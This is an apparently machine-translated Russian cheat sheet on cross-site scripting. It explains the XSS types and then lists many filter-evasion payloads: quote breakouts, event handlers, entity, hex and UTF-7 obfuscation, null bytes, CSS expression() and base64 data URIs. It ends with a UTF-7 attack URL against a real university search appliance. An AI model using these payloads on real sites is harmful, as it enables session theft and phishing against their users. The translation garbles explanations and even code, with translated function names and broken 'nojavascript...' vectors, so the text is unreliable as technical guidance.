Полное руководство по XSS


Что такое Cross Site Scripting?


Межсайтовый скриптинг (XSS) представляет собой тип уязвимости компьютерной безопасности, обычно можно найти в веб-приложения, которые позволяют внедрения кода злоумышленника в сети веб-страниц, просмотренных других пользователей. Межсайтовый скриптинг отверстия в целом можно рассматривать как уязвимости, которые позволяют злоумышленникам обойти механизмы безопасности. Найдя умные способы инъекционных вредоносных скриптов на веб-страницы злоумышленник может получить повышенные привилегии доступа к конфиденциальной информации страниц, куки сессии, а также ряд других объектов. 
Есть три различных типа XSS-уязвимости: 
нестойкий 
постоянный 
и DOM основе (который может быть постоянным или непостоянные). 

Непостоянные межсайтовый скриптинг отверстие, также упоминается как отражение уязвимости, и на сегодняшний день является наиболее распространенным типом. Эти отверстия появляются, когда данные, предоставляемые веб-клиента используется сразу же сценарии на стороне сервера для создания страницы результатов для этого пользователя. Классическим примером этого является в двигателях поиска по сайту: если один ищет строку, которая включает в себя несколько специальных символов HTML, часто в строку поиска будет перерисована на странице результатов, чтобы указать, что искали, или по крайней мере, включать в условия поиска В текстовом поле для упрощения редактирования. Если возникновение условий поиска не HTML сущность закодирована, XSS дыра будет результат. 

Стойкие уязвимость XSS, также упоминается как хранится или второго порядка уязвимость, и это позволяет наиболее мощных видов атак. 2 типа XSS-уязвимость, когда данные в веб-приложения пользователем сначала сохраняется постоянно на сервере (в базе данных, файловой системы, или в другом месте), а затем отображается для пользователей на веб-странице без закодированы с помощью HTML лиц. Классическим примером этого является с интернет-форумы, где пользователи могут оставлять сообщения. 

DOM на основе XSS уязвимость, также известный как местные межсайтовый скриптинг, базируется на стандартной модели объектов для представления HTML или XML называется объектной модели документа DOM или для краткости. С DOM на основе межсайтового уязвимости сценариев, проблема существует в клиентский сценарий страницы себе. Например, если кусочек JavaScript обращается к параметру URL запроса и использует эту информацию, чтобы написать несколько HTML в свою собственную страницу, и эта информация не кодируется с помощью HTML лиц, XSS дыра, вероятно, будет настоящим, так как это написано данные будут повторно интерпретируются браузерами HTML, которые могут включать в себя дополнительные сценарии на стороне клиента.

Поиск уязвимостей XSS


Наиболее распространенный тест использовали XSS-инъекций:

<script>alert("XSS")</script>

При этом примере вводится в поле ввода или URL параметр, либо уволить или не удастся. Если инъекция не удается, это не значит, сайт находится в безопасности, это просто значит, нужно искать глубже.

XSS-фильтр Уклонение


Спасаясь от строк

На первом этапе, чтобы просмотреть исходный код на веб-странице и посмотреть, если вы можете найти вводится строка в HTML.There несколько мест, вы можете найти его в полной неприкосновенности, но скрыта от случайного observer.The первый в качестве входного параметра:

<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>

В этом примере мы можем изменить наш вклад в нее включены два символа, которые позволяют вводить код, чтобы перейти из одной цитаты:

'><SCRIPT>alert("XSS")</SCRIPT>

Теперь наш код делает, потому что мы закончили инкапсуляция входных и HTML-теги перед нашим вектором, который позволяет ему стрелять. Однако в этом случае посторонний одинарные кавычки и закрытые угловые скобки отображаются на веб-page.This может быть подавлена, если мы обновляем наш вектор в следующем:

'><SCRIPT>alert("XSS")</SCRIPT><xss a='

Это превращает код выхода в:

<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>

В результате, код JavaScript вводится без видимых указанием его existence.The теги a=''> <xss не делает, потому что он не является допустимым.

Рабочие около фильтром Цитаты

Давайте будем использовать тот же самый пример выше, но взять на себя веб-мастеров включен код поставить косую черту перед любым одинарные или двойные кавычки (например, add_slashes ()). Наш предыдущий вектор без последней части будут теперь в:

<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>

Есть несколько методов, чтобы попытаться обойти это все зависит от фильтра на место. Один из способов заключается в использовании символа лиц. Некоторые символы, охраняются в HTML.Например, вы не можете использовать больше или меньше знаков в тексте, потому что браузер может принять их за разметкой. Если мы хотим, чтобы браузер на самом деле отображает эти символы мы должны вставить символ лиц в HTML источник.

"""кавычки, APL цитатой
ИИИамперсант
<<<знак меньше
>>>знак больше

Использование кода (") или (") на месте нашей котировки является одним из способов, чтобы попытаться обойти цитатой фильтрации. Пример:

<script>alert("XSS")</script>
<script>alert(&quot;XSS&quot;)</script>
<script>alert(&#38;XSS&#38;)</script>

Если без кавычек любого рода допускается Вы можете использовать fromCharCode в JavaScript для создания любого XSS код, который нужно. FromCharCode () принимает указанные значения Юникод и возвращает строку. Пример:

<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT Type="text" value='\'> <SCRIPT> оповещения (String.fromCharCode (88,83,83)) </ SCRIPT> ">

Вы можете использовать для MySQL символов (ASCII, ASCII, ...): калькулятор ниже перевести код в CharCode.

Обход фильтрации <SCRIPT>

Некоторые фильтры будут отфильтровывать <script> что делает невозможным для любого из приведенных выше примеров, чтобы работать. Однако, есть много других способов, чтобы вставить JavaScript в веб-страницы. Давайте посмотрим на примере обработчик событий:

<BODY onload="alert('XSS')">

"OnLoad" ключевое слово в HTML представляет собой обработчик событий. Это не будет работать со всеми HTML-теги, но он особенно эффективен в теле tags.That сказал, что есть случаи, когда такой подход не сможет, например, когда событие BODY OnLoad обработчик ранее перегруженной выше на странице перед вектор показывает вверх. Еще один полезный пример обработчика OnError:

<IMG SRC="" onerror="alert('XSS')">

Поскольку изображение плохо определены, OnError Обработчик события вызывают пожары JavaScript внутри него, чтобы сделать, все, даже не называя <script> тегов.

Использование IMG SRC

Два наиболее часто допускаются HTML теги <A HREF, который используется для встроенных ссылок и <IMG, которая используется для встроенных изображений. Из этих двух, наиболее опасным является IMG тег. Последующих приводится несколько примеров того, почему этот тег является проблематичным:

<IMG SRC="nojavascript...alert('XSS');">

Без кавычек и без точки с запятой:

<IMG SRC=nojavascript...alert('XSS')>

Фильтрация котировок и сценарий:

<IMG SRC=nojavascript...alert(&quot;XSS&quot;)>

Использование CharCode обойти фильтрацию кавычек:

<IMG SRC=nojavascript...alert(String.fromCharCode(88,83,83))>

Простой вектор атаки, как один из приведенных выше, может быть еще более запутанным, превращая всю строку в десятичный эквивалент ASCII символов:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Использование ASCII таблице вы можете расшифровать этот пример, а затем использовать тот же метод запутывания для создания собственного инъекционного строки. То же самое можно сделать для шестнадцатеричных:

<IMG SRC=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;& #x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>

В то время как JavaScript: директивы синтаксис внутри изображения был обесценился с IE 7.0, он все еще работает в IE 6.0, Opera 9.0, Netscape 8.0 (когда движок IE, хотя он также обесценился на 8.1)

Использование Tab, New Line, и возврат каретки

Символов табуляции, новой строки и возврата каретки может также использоваться, чтобы обмануть фильтры XSS.

<IMG SRC="jav&#x9ascript:alert('XSS');">

В приведенном выше примере используется вкладка минимального размера десятичной разбить стажер слово JavaScript разбивая XSS и обмана фильтров. Выход выше будет выглядеть следующим образом:

<IMG SRC = "яв
ascript: предупреждение ('XSS'); ">


Горизонтальная табуляцияНовая строкаВозврат каретки
URL% 09% 10% 13
Минимальная Sized Hex
Максимального размера Hex
Минимального размера десятичной& # 9
Максимального размера десятичной

Использование нулевого символа

Другой персонаж, который может вызвать проблемы для фильтров нулевого символа. Это один из самых непонятных и мощных инструментов в любой XSS арсенал. Рассмотрим пример URL, который может привести к действительному инъекций:

<SCRIPT>alert("XSS")</SCRIPT>

Нулевой символ (% 00) останавливает фильтры от признания <SCRIPT> тегов. Это работает только в IE 6.0, IE 7.0, Netscape 8.0 и IE в режиме рендеринга.

Не фильтрации внутри инкапсуляции пар

Обход фильтрации, который ищет открытые и закрытие пары инкапсуляции внутри HTML-теги и игнорировать содержимое. Пример:

<IMG """><SCRIPT>alert('XSS')</SCRIPT>">

Технически, внутри тега IMG, первые две цитаты следует рассматривать инкапсуляции и должны сделать nothing.The следующая цитата должна позволить инкапсуляцию и перейти к следующей цитатой который после </ SCRIPT> тег. Наконец, она должна быть закрыта задней угловой скобки конца. Но все основные браузеры, такие как IE, Firefox, Netscape или опера принять это как неправильный HTML и попытаться исправить. Выход тогда выглядит так:

<img><script>alert('xss')</script>"&gt;

CSS фильтров Уклонение

HTML является полезным инструментом для потребителей инъекционных JavaScript, но не единственный инструмент еще более сложной подкласс HTML является таблицей стилей или CSS. Есть много различных способов внедрить XSS в таблицы стилей, а еще больше способов их использования для введения JavaScript. . Самый простой способ внедрить JavaScript в тег ссылки CSS, с помощью директивы JavaScript.

<LINK REL="stylesheet" HREF="nojavascript...alert('XSS');">

Тем не менее, IE обесценился это как 7.0, и она больше не работает, вы можете заставить его работать в театре оперы и пользователей, которые до сих пор IE 6.0. Другой способ заключается в использовании <STYLE> тегов. Это редкое, что пользователи имеют доступ к изменять стили, но это случится. Это чаще встречается в случаях форумах, где пользователи имеют доступ к верстки и дизайна на своем посту. Следующее будет работать в IE и Netscape в IE режим рендеринга: <STYLE> {ширина: выражение (оповещение ("XSS"))} </ STYLE> <A> Используя приведенные выше в качестве примера, можно увидеть, как Выражение тег позволяет злоумышленнику внедрить JavaScript без использования директивы JavaScript или <SCRIPT> тегов.

<DIV STYLE="width: expression(alert('XSS'));">

Obscure фильтры

Давайте возьмем пример, где разработчиком приняло пользовательского ввода и заверил, что он не содержит кавычки, не угловыми скобками, а не JavaScript директивы. Тем не менее, это не безопасно, так как мы можем вводить так называемую директиву данных в этом случае мы имеем формате base64 простое предупреждение <script> строки ('XSS') </ SCRIPT>.

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Данные директивы позволяет вводить целые документы в одну строку. Данные директивы работает в Firefox, Netscape Gecko в режиме рендеринга, а также Opera.

Использование двойных кавычках

Если вам нужно использовать как одинарные и двойные кавычки можно использовать апостроф для инкапсуляции строк JavaScript - это тоже полезно, потому что много межсайтовый фильтры сценариев не знают о серьезных акцентов.

<IMG SRC=`nojavascript...alert("Look its, 'XSS'")`>

Экранирование символов

Спасаясь котировки иногда полезно, когда есть собственные письменные защиты от XSS. Это позволит вам избежать выхода символов, используемых XSS-фильтра сценарий. 
Стоит отметить, что это будет работать только, если это собственные письменные (слабых) защита сценарий.

<IMG SRC=`nojavascript...alert(\"XSS\")`>

Результат будет выглядеть так:

<IMG SRC=`nojavascript...alert(\\"XSS\\")`>

Как вы можете видеть свои управляющие символы теперь отфильтровать управляющих символов используется XSS защиты.

Кодирование

Часто считается, что если все угловые скобки и кавычки были отфильтрованы, что XSS уже невозможно. Однако XSS это зависит от браузера, так долго, как браузер может понять другие методы кодирования, вы можете столкнуться с ситуациями, когда браузер будет выполнять команды без всех этих персонажей.
Реальный пример XSS-уязвимость закодированы было найдено в Google Search Appliance, по хакер по имени Maluc. Maluc обнаружили, что обычный поиск Google устройство запрос выглядит так:

http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro">http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro xystylesheet=stanford&site=stanfordit&oe=UTF-8&q=hi

Он заметил, что в соответствии с этой строкой (э = UTF-8), он может изменить UTF кода. Он изменил строку из UTF UTF-8 в UTF-7.
UTF-7 (7-битный формат Unicode Transformation) является переменной длины кодировки символов, который был предложен для представления Unicode кодировкой текста, используя поток символов ASCII, например, для использования в Интернете сообщения электронной почты. UTF-7, как правило, не используется в качестве родного представление в приложениях, поскольку это очень неудобно обрабатывать несмотря на свои размеры преимущество по сравнению с комбинацией UTF-8 или quoted-печати или base64.
Возьмем для примера:

<script>alert("XSS")</script>

И кодировать его в кодировке UTF-7:

+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-

+ Теперь все должно быть изменено на URL в коде GET строки для этой работы. Таким образом, URL код +% 2B это теперь у нас есть:

%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-

URL кодирование превращает строку в безопасную блок текста для добавления в строке запроса URL.To кодирования символов, чтобы добавить к URL, можно использовать символ процента, за которым следуют две цифры шестнадцатеричного числа, представляющего этот символ.
Например:

Оригинальный характерСсылки на символы
пространство% 20
/ (Косая черта)% 2F
"(Двойные кавычки)% 22
? (Знак вопроса)% 3F
+% 2B

При этом Maluc придумал:

http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro">http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro xystylesheet=stanford&site=stanfordit&oe=UTF-7&q=%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-x

И смогла успешно выполнить XSS сценария.
Конечно, эффект от XSS носит временный характер и влияет только на пользователей, которые идут в том, что URL-адреса, но это легко может обеспечить возможности для фишинга. Таким образом, Google прибор повредить безопасности Стэнфордского университета, будучи помещен на том же домене.
Автор Override и Killordie

1 комментарий: